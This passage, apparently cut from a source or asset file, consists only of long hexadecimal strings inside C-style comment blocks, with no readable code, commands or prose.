6c5645ac43062d8b5845374cbdf83da6c5af649c4ea6b35b7410d2dce304c592785e073c8d6b35eb936e99c8dd57825080a28b41ac5ab26b705222888c9d739e85fe1796624bad5f6b85ba03bb699d18934c3e9819a6aefeb881699f2d5711d3b0fe5553b71b257787afa323b7593cda83729dcb3c3bea1a51a9b5a74a16ee1d9425cb70bc6600093e2207c9473bb7e57a5a69a667e65c5ef584ab8a6c404ae549c26dccda4e842532b25ee41349b75c397d460078140870a00c072a234c035d056ecc7e023f43a29d85d74bdc99c58b935fb988661c95d6db7457b99b606d7dd6c2bdb8ee0a45c2bef69b9f7ee85b597c9345c0708cb50175d5fee399d578a3d5e2a39fc727ff0ce49a69049aea47b0ecc316852e612f28f1d355beacefac977654eeb0e95841401f920e384859baf23dc0d0597c6aeea399b2bdf70d30353139b224ced8eee355f47693374757fde57a021d4fdf13966754609cf93f4ecc4838e2622e78fdb1f7525d645aa87b679d5ab1b6505b361ddf1ffc3228840f6633cab69d4819de34c8d4c28ebad5532f4402729f5979d73f7bb1915c905130e47b6463debc843fe3601bff3e52e39591*/
/*b58412bae56bf73ca42ebc18d1c4abd444cc97d070b92f1bf26e41785f2f8f3cd2bbddf9a2e5d36f27ee31ae223413507195d0d82ece11f4490eee544f0a4977a4ee3528a4cfe039362a24eeee8214db0b4999114f2f1ac8a1d06864d51e6edeb47c8157f99b245546e7ddeb2a3a41d5117124c72d7ddacfc1fdc24c0f78ce6967ac50a109f5e9c86ff44f04e4e75ba958f103554b4e5e5bab8c86f8d159337737b0bd9a656845c25ec7e7d999687254e1c5cf575836338643b355090a5265ceebb1032972e6c045eeedc9ce4d885d03ef675d3be8fc2bf96f5cd33ee805baa9d50b83051f3fa9884e5dfeb6f91f020b2217409c88cccf4b4af8352fd6b622e62b6afc6c20f15cf9fe0e3aa0afb78b60aac3117986c297ebb759ac22d5592903b27abc69671ef2f1f19d1505fe794e2e19ca9004d45a5d072915eb185d287ecd8ac208cfac7ac45ba955aba0a7140e70da0e822a1d85440777c37e07b1ea9bae2de1deb2e23f4714185ba666c4f0b49f8c34b7ba8dc075e18b9bf23f508e55917e6bb0a9f28fedf0340422d7ce535dcabf6ae630200684a156e0def8f04faa45e56734038c98c87ed22d1638cd56dadf118f16bffafca1552f5e48d71374562406081210304b9e7e58f239f7a5949de00b9bd2d10dcf2f48e2b50268fd2f5e9b0308ce1a2e65218dd55b9cc62110f5514352cbcaeb78d561aa5500f8ce5c68f0565e8f30b7d8f3a70a5adea35e4f38719aed9457dd682bc1a795076326bd9ea02b0917694f18335d5b38b6b8868ccdc9a631a1244ea541deb403c22bf5940be441a0d572985495bcfa4e2d920972b3c81a8f52e83a9edda9f312ada3a94e81d8eebc347570db024847da54e93d0fc446d9f8581033915fe8d2a909ba02114966e80a0bad5421cb5b24182edf91780243eb908ad90b5467065b3d2ab623759d39ca1f273b0d99f1c6593ab67a3673aff21d9e3dbc471c9964d87c932f0592a518a7fef71f36aa889320fc252fdc857e850d5ed0b9c982944c77bc008a41fe893e0afcb81105168e28277dbb940a9ae27c43118df3dd69202ac5c066c1dc26b586cde4da2f95cf3df9cbdff9a82f959bb21eccb493cc47fad1075b02e975ee322ab93e1d3c28f085d9d2f3000b6b6cc287926c94423ef89264c5d3e2a2f43e08d4f29c2eaadaf726abc2ac5a30299a25d85de81212baf11383af3b3df9451d1cf0da465556b1b62e367deefe4f2d07eff567ad19adbda1f6e22227400fe441510a3069088e5869eb9c74c5fc631a084a4ec3616f5d76435f6236b9fc61474e8f408b1ce9b6e1f99c45c365d0b6f0de00ec4dcb8e40b3f220946113e54f05d48ba673fe4d9cfea738b0c508bc43b56f89cb287a9d825be55e05df07dcf0be2927854de911c2f8eb9865e743656360dd8bd818a55791d8244068b257ca45642e68f7dc53c72257f9b0dcefe4bf9f8529880e2f5480e80b3f3aeec3d505ff496aa182ae8d0403598056c636952579c467ab0864dcdf344f5048ed0e425b25a9daf76ca52200ffd8846fea29b47912f87f9e76943131f37f1ddabc3ef92a36654d885a12c6f99c977cdd5ea305a81686abed438a6c1faa0abf33ff24f1a9c0416f82462e15e8c95dc43380a71196580267466569e2d830d66505a78b09889f8ee341e369a4cb3fc2eee54caab26cc6c2258b5a12256d448aa7588807ff5e47b34070fb0b76757d56e925831bc7783fb993473ef8d286529f84ccd48a26c04c994cf16d0a87755f06eb5d215806804f23b37b983bd0cedb24e44e21b58390bfc36ade3d853738d247f254c406d41851ed5cf3afd77f4aef23cbf757046b6284bd238b3225d0e4775fd7de9ad30e97b58dc5579cd3d8c35fbf97bee47097bbc9f10fe86eebfb04331026316ec571a4cc9f86c99e9c9e2585a380e22786ac2a9c0fbe34b5fe9ff85ca4dc111a8bd0ae15e51a44e68b08bd3c4d404b3ae3239ae9a565a26978e6e319ec047259dab8eed371219bca5f365197238eeb991a702f0213648a3a3fbb2c412c1c63e1946b937a5f4c676edf7052c02c2852ee84de23298648bc061fab111b5eed822a43ef0b2d38e24224ae709b2af25c2fca1d4a4b3b5c01b455343baaeac7c8026ffcc225b068aef492317e37d13e082c3f2ce656c7730d94ac77eeda1aae821ab88ea70f388c285557af06b8414c89c9cf25ad9f84bb0dc34d328120af563c039755c9d92bb755c6555313f6bdf0ba037b1f85e2d33bf9ec6fbbdb3af5296240fd652e00d62f143ffbccde43bb75ba994296c06caa6e86544333de879ad16be4bd96bf59a49d2fae8e5f46ab8a33da1a2135050ae03617865f540e036b1e2a0f4843804e3d46b127b10fe4724d7b68e9d4db3a499a2e228b440fe5ef348683478220eba094439d0ac96d9e7c67a26ef791e5b854a6bf23f27ac8ad8c5e4a574d38cb4b3d5ec94a7a660489830fbaab6d3a09a0a33b34d2cfd1310af2dc7607a6bc530e1ea5426cafaae14b2feed5fb40da643ab68e2da38533f49abd525414d2de9e15a2d7df2b6b16fe459e9c3ef5e2ba9cb8318c1ae202535c0429c58f06368ff5ede975313ac61eb769fae65f6326dbce427bad608ee4b1562a386ee428f6082110c4a92892671f9ed24597e6ea71d03d5cb583ffd4493587f15d5535fc3c77d004d93c2727b6c19169e76c8387aca581a5036ccc754469dcb0c14f0038d1797b4582f5e2e342c1cf2e2fbc2d842d9cecc10a5853e1c59e719b290b6ab99e4e61a5f8d8c83741c6cc2fa3035d2d0b9f26ff334aa93d96ec4cbd750e19751a2bedb99b7eaa71218b*/
/*ff459f0e4b0bc93fcd224f3244bb3eb206abc5febe293dc0c5201a02a7c94f10c4fc053ed7babcb6b0179577a006be3b48ac745252e548438b439a6dce83dfa34d29041deed012c3c8b9861deb0e9427ff901d773a476f57e693ff48d729217bb49868abcc14d6a7423ddbf9a550f66d22254456aa1eff3f389f17343d3fb54858687adab8dbc4731b2cee4dade60eee0d3c833596b71cf3606838065cd6dcbd871d75e4a1444c6d202e39af00681b6bba86379ba4bf5f3b111578bc441627b22df637c2a5a287986abfe4841c0adbd18d263b1062eacf819a8e54dd48cf297875adb6b6a9f37df21fb5ae680d63b3fb1ad974b36fface4a95fb5bd534c94722eb3939dfb445795f0c214e049e079f4926ad3a60b7cfeab101f9eca06cc6a9d3a494e37c1fbe3ca22d26e1eb2a21c9c199b9ccd7e0542d3073c7ac8e68337214fb8e14e5491a8fab604b5432ed53bec78fc9fdfd0aa2f769678e690432852b383343df3a6483e5fcd9a9d3c9aff7c5491cea72e42f181b092dc31cb7dd1b91ca36e90840804acdc176946d234ceafb0c1b66c7f486cfd99aee52cd8268f3b40168c2ca4a29ca0805956958d8c91b59b6714fd8da69b3e88c557c98dfa8e8cf642c8b9a9551f4499be9e892241b042082e95838da45aea9c7b84590b73d557c526aee128b4205c06a424239a347bb94d0c99b62f874af85ec6aeee64d900aff53e0f7dc31a7a9043a8aa68e224e9c0de79348b9f1798b76231158163775e8d6c8c255e073d23e4f26e9e20b998e719196bdc11f18269f744a297e424a5be7fb300f5d708124efeba0702e0ba757dc7e67a48a6e20b5c7def5776e123c776acecc3d9daa480730a69711431252c0bf4881d3899db3a6400dfadda54b49248b2655505e97758b86183617716579eb86f478d9fa35ea9bb4c60c1afeab9cb7591c96fcbb0a157506df91db8a527298c8fe90b8d3a4d36a35ca4ebf45cb2c31e402b6f2c62a37a1c7a42b00303d357b7a99bb3e842e2bb323cf7a2ea97e6f80875ed51d61e9a1254e5341f2520cd89a62940125fb34507fa15b4b80f7ee8b3b2da81b5567eda0e7e2ea05550b113cc8b79b4e3c4942850b0397071bc7e27633980966284bb89cc271c9a614f866cea13ef35d9876efdef75bca957e1315303b135311739b3e0ddd2759f401e617a6087ea56e9c77464736ede375885a5db570fa35ac9145c2b6877a601cbfbc56ec20edae92eee223b53dd1f003a08af88f75c91da590f8d592e89561be097fe570f9012da4dd870fca54b8e7f1e0cb3735c8e37fb47a4f2066c92fb4fadd7260578e27d1b4e821f37e1f7dc3128780de321b95763b7404b1627d4597355db2e2f81033f93e7e6b15fcfa953cb9bf917172d29acee655ae8e872d3867848a2ff7f0a6d9352c85517662bac9b1d90f24a4e7849129737e70b1bae420bbf6232adbefaf1db09e5ed3456e2c77fd08c9f244362f14e98f7272ffe12c1e9edf54c1e3b572e718f05af930ba502618ebe9d7095dfc91d58cd993d62c4f08798b1285219aad3aa6a4303072a63d8cbb09f2f0c487a32caca808c82ab64ca1e75f91e0b3cd03cb89cccd1151e50d5a9927eaf437fa8bf99c1c2cbaa2c07c0b6cac575609bb6821ec42eed083241e2267482105a6122c07bcacd7d95bf1514369475c0ec4e3a6bebb4eaeca9da8c7d65fc238d57630fa7092c8ca6177ce984a9795df276f71141b4e31e61fa3362d5250a24e64af04b3ced42bf9cee020e4f7b83575ccadb5519e7fae6fb88dcd0d16a8fbeeee908c9755523e6deadc70e8376c18318a83b2f7281d4f2d98a480d72e493e38c498d2b4fc395549214a937fc143bb287da77c0e2f89785b1062c101500b081bd1b6e72ab5d956a672cb233fff3dcf35af4fcf792296c7351c97293e9aebbbf83a8f766c8550823694b036472e0e7617e6fd0d4c100255b7b505e1301305cced7210eaa41d4c8fd5837150514b11f7a86c87aabe8a564cc6126476de863906073ef08f1ad8b9fe8f70cbeb6e2f9813c914b1f8cd5c5cc315f0924a26959674ed4924e101efb2b4142b8b113a8a5fc84e12027b8edfe52b74cf4ccdc6d74c5296beaded1673b6455d74811f53dfc2c97e7683026076db869b8e145729ea68ed886aa1069b7ca40a9b1dad4493bc7eca44a87db44096ed647b01b0d5a7ee9472899923eef39c181503680a1cbccb9520a011217c109c334394f3f2bd65d5c3a052d408c3aa1f7e7f7d228264f09f9ad8cde056661a991578eb34e86568bd5d5ea6a5921c16103068c23e87bf8d5438e5e9aecb97a44245faa0af0a96b28e2e5a25cd9d23fa1f99848e52ef80dfb5f3f99276cb59d79ada401a61c46776556d5980d1882dd5a535ab88cbabce5168906c8bc783f28ca02999705d200a6384438faae396b390e8defcd31e9010c23b8dff10874ba4a8e254032112664142fa9a410b20225bcd32e216a006445c1db563e9a2d751ce0895c868268b2b8da108721fda9a37450ce3d623283ff688ff42610d643987c40737812390dd756b56f32284b286b1323000fb6d6ed9b58bd53bb5706a99a8c2afaec566e9631ece3568a699e97dcddd5fa142bcd6f0a19ebab3df408dcd6792cef847fc72cbe8ff46810e40b4f17fbde9ca1b70d06a2d2be7b90e6d9c2778d7cba09c7e6c16530bec292eb8e8d03ae750ea9ed105ff31a788fe6fb057edb3c52a265a04fc893f746fd301d8bd796f475a4ca5e90978dffd1240dd72200c8a812cf2c2a5ab04d56505bc4216fd3a36d88943456f851c87a4bc7d13e5c93caa64a0d2e0a5*/
/*8cb8bc72a2dbb9ab317ece28d8ea8ef049e81fa265810e7ba36c74d53da1ecaf28fdd28c207f9da90944420510402b2b54908cdc663873d4e40fb787d26ad0970b1a6aadf3e840326c65a6b2137d6ef069708307a37230bb8497c70be8bd0cbe4d8fd158c7109035526bb9a058883ba7a2ab3d8cb1739199e6f6ea8d40ed6d425b4fc4c3d70a4950da37df398587657b9a6caca47e1abd6feb3b9a0e93f2c78be4ca1a9a9241086f2fddade74d18c9bab319c1ad1d6efe6298f57ae1ae377d9029173737f4a7e631f37d36b9c0a50b3981aae0ccf29bb10e6a2d2af3fdb15285bf8360d22ea6b3cbdea5bc3fc309ebbb3facfa9834f57e17a340ef4eec7ea8244b343de73f31822bb131c64914934f676b9368aab7a2a11d80a73253638bbee96924496fa39c25960b14e929da710972e39f0199c5e37e1f9ccc1465a9915d081dffbc6c3471b373b637542b0df48691b63ae032c377ce3e918e780687fd194c6e08ce5f4380e24fe59b652ffee4713e4a6e657e5f69b74366f21ab98487cf577bcc80dc65e4917c7ec69b29e382807f450084ab514cfa09079e08b5ba2b18e6708f81db9bcabc1c5384e70028d008e27895a9bb0d704649d91cd34bd7dd209d0cc2bfb317016d46ed84d8dbd1e99c9b7b658b83ee6a531b01fe48e350809434603e6c2471b812673b67ee1549d2fae85b65ac4da6509fafeefdb2688605c85da23af376acc77a6a8159654ac58e378d1713b78310ddfd57064a95e5912554d064d583ddd7ab42b7970d9339d26e791e238d3efa862de6445628099f7f2572be43e4c2d393e6a28d679d7017dfc5337dfe682ebc053a91e4530a3decb065060a07bb103cfda72fc2a7c38c733e1bced89a27c52f2d753585be179f3623f64fd6734bbc3e2561fae65c2953aaf2444d8acdd5fd7219b610a2b07f5ddcbd2e0dbb7f65de59ffc2a687eb9fd0bcee4d21689ce676017c9c3c5e08de169ce0a714875d2cdffaecdb2fcf63600c8f557f97c337c9b36a5da3b877b4f9148c8e9564c0e750c3a9aa47d86911c2d887afe17f18ce5ca0c8d40ca37b95b2c4f93192aeb5a5c1888e163b31796882c733c040cf08ef6b34f0f882982362777dd85a849a7b6f3d6868ebf85381ce792fdf5176bde5eb172105be9344f852aefc7a31ae2066a8b18b703ede1602b3139f18d3a53a1b94438d3c0fb8a638b267dec5a8ed976f09228038c3e2f2b7036cb01a0ca7885721c5dd5b70d6c0c6ee045273eb83f4d7585d649820624de60f77f40158dd5fda24c0de7ede3ca1978fa104aec72a413e1ff142c9da73436d4a9e9d3984b8a9f871893d0adf43bd55d2a6cb500f742ded65b162c2be75bc0dc2e0e3b02d3c12a2a2615492cccc7426dfaafbd685f2c3f8965e20d52b424ec1637157c9c1143493d448f5ed9d44e06143519b895ad8b69082ba30d2df6c31aacdee70f2575f210f76859c5ec86b5ac527a8b1776aa7267b1fc86cd89b5e2c9e52f24321dc161affb56b4d82f8fb4966e117de151e3b76ca2d28e006f75efc139b8f953d0999e42d2da6ae586446d3d4e3c0dc859998114f6e2fe8b46e388929bedb60c3a2fe967bf5c3de45753afde4b297197d8247255964ee7679f2fe6e760090f72142c4874507d38e533deda989d8e2d1b2c26295900a0bf02b3c454a71d155f1843c831f4fe0f9dcba4e14f269bd07a96f7d36f78edd57e7921c443a1294cd6becf8fe34cf340ea9c61dcb0a4db1d955c0fc689be184c2d2f7298189b90c26bc343e69ef55158d1944b2cba958d0db548b33d0520b043ae95872bd53bff806921a198942d35d8117fecc10a72c671c45588bb4d9c1d5000b3c18e05e99a76f69c97a6f425507e3141885418aa784afca0a55aa0bfa1eccb02d4b39b304b238ddd20ce601b9744f90f0a5a5ea1520176b347f4163f70a04e3a38da2199f0b5e1381cbc2cd73ed327332e1e8f174f73d89abbd5230b4989d8a75739999f6c33d366de5afe6f658977780648f6643bf27e50602aeb49c97654fb08064b04060f96d5662206db09cdf92f68b5e45eaf57ee85dc7710f6eb71ad08d9c13f8792d164ba8e40242a2860a23eafd27b9c909b0e905be833ac04007abd98884e4500fe7d547554a6fb749067b61f78fa83f461fde0e4a2dcfe9300a0ec1b450c5b78c3316bd3062e7111b716f07795050472559b5253a45fb50930035ab20ec400e45902d499e5f9a342774d89ff47b207628f42bf30c6790df599af60f67f3c1b9f7bdf893da72913a06a0ae66e25bbba1a0977fa46cb327e0aaa91cd1c74b48fb4e70098c8da0a772ab24501b4c3184cef3add7a24f625780849c1a7e9eb09bde8bc26e0e0e2faa595607558b06c6c1756a7fb433b0dc6088f7fe5783f8809384d71b051ca4bd207cac8daeb911dea62b71081ecec54967c80219a6ea858ca6a0547ce02a839f588f55269a8f2c959421c5c49841703e6e530f966ffd4251318b4569df3aa714953ea3db9c168cad7f989166ad94808c6fb55918e8ce350f0888b259a341aa31e07b59610f3e143202177e59e9bec409d5e89523da3f646de31397510ac8e98d6bae7686c189fad2a176165b2b7ae765a4f56dc453ee61324d456d4d35e45c6495746e3a8e719eb6746f453c8ccc00c7f18024d0380803ea654cce1b293f8bea079e0d39fea10a94f3f6e2125490974c9935d758c3ebd69cf9c62fc6d115b4fe3f3a4a281ac520080c150c13dac6bca6edbf506b97bb78b3a0f8e02ddde3460f72987918c038f1d53b1f5f75f0dbeb7ccaa25f243f7212a8b2bd00d0dc9310ba96b2*/
/*c0e5dac017005e006e0f3b46fe532606bfb618ab23deee43e94537ceb6972f6c1a500b245578687d327bf8096a3654205f381c362f5267b7e70153322eb0341698ed1cb4f4fd6fe84d792d97457666b6c7258ad2abd241312eefb5f8fd6b901af1953d61ab7c82753f4513f18a0f161b0fca101a334a410312a9383fd0caaaf79cf808b947ac4439ca2f4c9d0971b5cc5d70fbae0621c1e076fd034823759490fe4f1ee2f14074ae5c73dc9653c499ae3426a2fa43aa664361cf5ed65f4e93fc7b2adb0e1795d311d15f571654dcc9ccb3823a5ba1b95c1d4a6eefabf704a5ee6cf7a0e4a03857e9f647c6170d2d884fe205d1e6aebf51567fd3a298cb4ce31da9c21871199954831992aa9d5cbf6b28b90c3f1758f2813cec1edfcea3e108c3129b82430d2fb80f7090494eefdaca38fe97503bc0ad0c6255397912c45d665bc55d4514f939e8bb8f2770f4fb3c686d1efa7b7f4e3bc35e650a35440576fa5dfd5d3373aed047073417171aa4fc048aa81607d2509997453ead8576f43556c5e800c992a57ca9210c248416390172f092681c2e15d631883dba1e33cd3a88d323699717e5eeac7f09f115e6915a34f514979bccf19778f42c686ab100840340e0d2c46b82158b4b14e690164b220b4ffc0a832ca94a5229d380824912a58cc97e7b52a926f5f0d0b9328aaa88682a61a2bd134974f42e9f41a3c01862f44921810f1c181324bfaf77fb7592560b34af8edf71c21adafd957a35ae964c7d0b11b36f7fe4ef599b56412d8e4df06344292548f1d123b617efdacb00759982176289df90c94ac825708e9d041fa6a3fb021381ff72613b65fdf9ca5bd3a1a2dea141bedb8856ecb860a2af64c4674bd5b228f0e2a20f440673f9a913033544fb5b4c849341ad27d8d6254d96f24642575a182c7066159767751d64a8c9a6173fe7626d5438c0dffe2b24404dc990046b5b97a2b14d11b38518aa1377d8d82355621d69138d12d0d83518897e6483a6a09d9c870bb1adc30562a718a60d436eb22e60530e709e3ab501bb09938e72a39d32fe263a57a6655062baf005447ae2503b2ed45f7139664bde2e0365e3e9a6ed85c3bf2b988e43e0b7ae11d469e0f0a96069cb4844ee37bfe1918f58f853c43731ab1865c4fe6831c08851052bbf9f078b88ac0e083126eae442bcd14cf67a39487659ef03907fd4d1c62168e4c5e12d256ec21836fea33edec2af69b1c278b492f351c04c75a2631f2ac6f118b7bddb8539379b07762f352cb6fe9dc5e39aafd720b52dcd3d1775203947dc1845e18f7614398f69753804326724bd4370d334b8a063a48b738e7c64be8ab5e6916236854e4af8afc1485cf336a17a029085941abb262697ed324dc980a0f60de052a35c2e9b1af199ed0d498d94243fdd7e16a76c478d9b4b542b417539b7449ef306297e2883ed64eafdbf78ba093577dc24409d16a167a1af86660f8542986fb89b3cc265ebf42123f30a81559a5969f8874dce26774d02b79693a189eeca33841f33d50ef519b4365643e6a31d53b0b69fa9fa629e07ac98df6294aecdaa44474a1d36d297467774320e35ab9a3e1d8343bb3d2b6b4f96f2d233b0eea6ca30d1409142917f43404810685f184cd9a495aaa7672751569b921cabe71cb164d0782727638f4fc74df0c5a2fa73ea0a81a1a881fda72e457608a79df3d9a80d1f9878a294fe9d408468d80dadaee46f7797cca86b94602f3fbab24684f8adec94eddcbf7ff7719c4c3b877f2891f3ccd52add603956aaa8aec88a4a5d5a34db0ee2a6fb40758d97a49ebe0db90985131c9b2cdfba68bbbcf422145880094e05ebb8ccd9686f77b1ad5a805e44cf8c274d8805ecb877077a1aa278fa151792a7336ce91da179919f2fb47017b8b78e1017cc77ad07fcff56d35b49e522d9ff5e331d972731ac2632ecd83066b542595fc9c9616e8e7faea6e98e0bfd94e81f3ba726d597432d028b04988af5969a979dd9dd0a0dc6ea2516f451ffa52a22e62987dd8755596d0f76ce46f6b4e24b7b1cbcdf7346312249f6135a46e49591a67f8d6227ee96a7e43ad5967fd377752f042b36c2570a6e0e0b6d603f6b875ef0b5a7b2d40b0f4e41bc3b444394ba74411448ebb2cf81fab781374dc23ca290e6cd3a212717497f3b0dff315fccabb6335cb827593aea45fe62784b85e96f1454067a43935ddb906f366b2a622ae77619e83cf70848f8de2a32a78fafb98462fb9d1ff0215ee292277224b10eaeab0be29a2a7cddbbb6db81fd999eb49ed84a9c875e5fab770d31c0be94e42760ca8ac5cf47b4f3943ae12204c7ce43b731dfa23496a2b6ed982e1d187df7e7a97572069ddb6eed2741dc9cd0d8aeb2aaa1f28afd79dc423d566740676d3df5b82a63f1abe8f17e14309179d5eefddb4fb90f604aecb966594cb4e82d2d83f354c3e0b2ea9875471cfc1b73f97a58328483eddeb9823553a67a291a8538ad77c353b444279c658728bca0c04b7ce494647ec3d5f4b252e4b30b3ad73aeb3283b4b27cbde7bc10448eeef037a76efb2f54236454291a10d72ef258da4953ea09ecb6e31ea882664d6cd5dcd654b9662df61b0bc5bde0f17864121bbd531e0a2ea980b3d1b31aa92dc8b0d705d92e9cf374c353662546014841eefd639ca265e581c2b48b7438f94ff96113655153ddae74f3c4f7b708bcdaa0c5a19fdae0081b78ae896b2936aa79c6b268989190c757b15a046f7c02beaa41c423e7ddbb1e2e5ff11973a1a21e8242289ea4fa4e0130e9ec57dfa546ebfa004c0c05345fa502ae1ae22c3e15091e8d*/
/*41bdc1aad5a014ce5813cc71c69f60e8a0f9f1f0a072c30881bf16d0eea69ea0713ef84525148821c22bbfab57d9fe2b780aa8b80c84fc895782d93ef763ea238b5b2ee088f6cbc747b3bff98e42250d2491a9a135122aa1fc5bcbae88855bedb65566e5af7870b79bcd1db50961b8da87264d78c9569f40aa3a26ec7791adc3344e39dc4903e33ebf8a9fb5a7468bc6d66f3beb2b544cb67885bc5eff74b467710d11d858478471141c73d84116991bf9b161d295acf7c5151a32e32cecfae34e0b2883d42f19d45745220565ee4fdd7ae1857fb035bf36269c72a90d3bf03c464e8fb36b54c0393fe2566d4fd828c07afed1a3813fe2f600dcf5783fc348679dffea4cd92388f3c0bfe3f11aefbee8cd317a6a722f9d50ac216ba3b3ef250cb1692349f6b8be618cd1e29d4c280ca3f6d26acaf3ce70deaa5bd7e2359f90cfbabe56e9a16e4fdaa4f8e19ca2e03e5543499099cc5a476fbe6e269093d2d3f989323053b156b13198b38e775a5a9e9557ebab6fbd48c1674a13a5e08498375b462011f72091587aa039fd1ad86d665d3b1e17a0b952c3321076cae36ebb2d3a7ef4355d9c128e20e2411d4cba38ff909815f0571208a524a31ee17109c4bd0a514bcf74d364ac4afc30ecca36e9d00e319d489d515189f2e7f2c99c3698aac74e024c1805fa9894d08c42305f5c656ed53dce6fcd9f5f07e344591b0c4470198d188a2cb59153edd81bda7d7f225793d4a2251265de682c91a6e3d2b774ad95e2a022aed59c509ec3f42abe8a94dd04d46b70ae73b0f53d2f04b4cbd67c2a6fddc923b44f577cf4e4e446955a8507f356e6c1be9ea2ccd3c694ce11f8b67432b90ca3eb8b7f8b2e78492cf209c5d5beb3f65abf4f054dc9fd8903c6c04638866d330d79c2b2ff721775033d27c4b4031df4348760793c90f832cb067f43a43588a6965658ec9097d3b975f3f3ed3077f6023b0b9d9f327896f2815d3178a25a52e9d3d1935d2af1b0227219865d961eb3244b6ecc33abef715e0e71d2d4dee6ce0a299130c7488150317e54de7206254bfe98da3cbf02a5cfa4ecf4612c404c26092be62502eb72ec41bd452e5e4d594ba5d0c17f66885513f2baaa9e92b98aeedc52cbaf73752646e4bc68c36f905d86ff3e8af3c09fab3ea5a0c51ced7c0ba78835a794bb95a58171a4015f03ad05faaa15ce661f106cc781a42d6ceb9428e89ad7398a9409b345ea8a9cc325cb06650b33bb7d85b8309f8731954449df1d2df7974f6501f4bb6652b8ca125bccfc38822b9182a72fa3adbac33636898cf377beccb7d4bb309ec46cdbdc769c96ccccb120b93bc8be3912824ef53db7f3be27e67cd02ff0d3ec633b4c0e45fc3040e293a538efd9d9a6394c87100e1e5ac025505d5321fc954287746db71dccb9c558a78945476c065724e152297487aad260260a39c24f527685eb31b8dfe0310cb0f8c9ac1d4a874011a755b3c12dd01e6b4814fc42785c5a0e281aa877783ffa9185da72d775beac7dd6e6406a7f93062acc2cdfb65140d49c950f62b4021a8c6f7d9257a85afc3edd7c7937b35ce2828b6c75e22eea04a7f57afb38185b714c068ce38ca4368383617bd329e010143f86eba46723651656ba31e42678a7a6fe002eb76b5ca2731bd9911f80fbf9935232d6ddc7b9203ca26f56a3db18337bd6046c3e8dfb82d1bcfef550ae138da1540268c53a16f0745f27481ffdeb4d48d42cb5e28d29ec073b15db973c78d29ace166b5ae1ddd9c5550d7c9f8358556888d33dba32d60d6436255dfa4f3a376e03da8f6f35bca51e5e30bcc041f4a029f894dd58ace5cdca76dfad6a8930432d38889f68335c8e41e6d06df95f04c3978b0ece6ec2fb676b61cca462e090e06980c52b1e7d8c686ef068949a3d7b77f794d25b11d0fd8960d45a92c1ea775f33e3a2b5513d04b643af583a61185873087dba30a85978d263a2f4a3ab495ae0ccbb110bdb469d9625fa8d6760940af27715ab3c44ce4d74d31bb0d83d953a9906adbda2dd707f5a02bbaf90b5a65d8da030046e1d74c11fcb76fae66555a7d01da0849d8307f8bc58d26887ccdd42dcbe60dc7ba8ee328fcef64dcf063c2ff2ae0df5d2de86a9514fa5d73969a80d66a920a525550328148ac82365dbdeabf9811e8fd4e17df3d4b1e70f0f518efbe7ecdc48d9ad18d2d43d5b58454c4746c5283798a2c23bac37679bf374c413a76faddbb6705e14759ab66880ba94d06fd8a8a57c5efd889be450fffa503c53d94735ca50e33a120c87b62d1f86d46252ef2fcf3f326c0220a18c0fcf1e1ca3ea289dcc63393f9129b700a3d5a2cb4c53e04eebf9d33a93cf6c74cda21cbc0b1cafdfd86a60ff60a8a1968c2af80bc16f333d88677fbdf5ea86b0005b9ae027442ae539ca48e353a6d60c6bda2f6a71e62b8324afef95d76bebc12d5609fc029a88ea74f60e0aec0ed445c7dcc52a509139d068aad697d6b36afacf1cc443dc2e972d5491306e4c6f88c51b14a229466670e934f354d6134f32b6d3ddb5f6a9276941cf1e41e49fd4ae9a5b7ce44ab6db32df95d1ca1a597a3d8c87bff7398cd637e57bf3ac928955acd2f323a64e4272a0411c7d8c6a1940ca6ac8e5d7683f45cdd58414841fa191fc22d00bb30cb9091c226e71d09f553623639d928e1a1bc927bc39d46329fe8a8aeda78826dcee129497557a4c664a3dc69b8d919252729d20d8fc34da3d24af4b89cc4efc6b6a786d6d73c1ad4a7ba482283ce65495410611a1166a5c0608f2aa3380c51c0f143dc61b68af6aa55ab1dccc06b5c0009fd8abc44f*/
/*fc9ed9d01ae14a21e10acc9f8fd210d609c4a84bc5b643e157bf8d555264727be8e16b5cd1456f78cd7bb28858727efaf21163fe46d213dea06e3b831cd8a1d26bb0fe374bdb2300df592c5b7af59df56f7298cb7b2accb1696d8bc38e8eb0aaec183e39fea5e324730add6e83bacd2f24f2707768d3659f13746a4c8c5cde4ba35ca1ccbfbecc6235092f2595194e0aee770f018130e7b725f317af5d759e50cc0363bf514137014ee314660fe6054a1810077cee4aa626d16f2997699bc67ef9ec25dc766166b917b707cca43d3efc89a246bfa48d424c169ab6ee79412dbc7461c64adbd0ba7d75880aec28e43c5182cf6f2646cb60a97d2eeb051547446363e87fec2247be9d925e225f7d5802c90d4f6ab1811c3b8dc62093288b0784bfe4c7cc14820098b855d460c090b6cb1a37836784a8034e6541280a33ea2216d8e1dfe865fcd9f797279848f1642a8254f06cb4e044077c05474143020c0942efe6ec92dd1a4d1d732a9c20b58df739c0c699c5be70d627ab251d9959018af961a277fee875118371f70ade7c0ad7008d9f13c1a0abb844f590eb67dc5817409715980af1d5112eb09f71803367e9c67bca89677e414b46400584da256b2c052a7f56c39ae33d3cf01054602c79b8bdef78a82d42ad5895a3dbd11329ad2a982c02948a92c27c2bb9e9f5af7ad9d78ffacb2cb0571e51880a8771e35f26346d299a98b3c87a85b742469a8569ddecfee335087dc7cdb34f7a633304a2f351125d255eb5e3872210d15c8d96e87c0bc1bc1054491abb8fbdbfe4d0133ada35a30afc7e0e1c729f2307c182cd718a1e0f859fcc2b538c9e0b250e1a55ebd5e64a883f1e5727f96021db67498a4a8c3a6151fc463e0ccf9d2feb48260b334345959bcf3368ebfb47e269fa4be3dc3c4015ace24bae2dc4db0aeaeceaf062743f2877b14cc1bdc9c5512a72eed3ac35fc5d442840cbd9aae5854530feb3e35afa02dc829371c5ed6fce16e754af5097ff39783903360ec00af845fd54764bc05f4d685953d8a1553aa0b01d7bd924d8d27f3b34097a6a4a861a5b17176749403aaafc0e7afab0773bf5547cdc31d968d47a55fd2a1bc91309c2d2fb3eec92fc7cb3b62d8a855ad9a6350cdd3b2cfa1514636fe45c3d13f9270d0e903c1f256fb1226002faf66a658f1b3f49ca0ed3ce7e93159e816b439032db5b5aa647616c3b6c09deb8a536b2aea5bd919c9422bfb08860ab9b541b1f9e56d4b2b16e1bff69da12dcdf26b73fa52eeff2449e3231b41828854aa54b0b484c5683f3ce133a079c74f38ea8cdf67a8b354dc18e30f870888baf83327bc4e998874add319295dbe5ab86561724052c8abacd4676e4fb00306e83a43086808ab84994faebe26ea5001e6e0ec163dbea3c059402d2a7bf027caa33735b3eb6f6449b71129de31c0eb33ce8246efcd416d9efef266ffeaef7f670e3a8d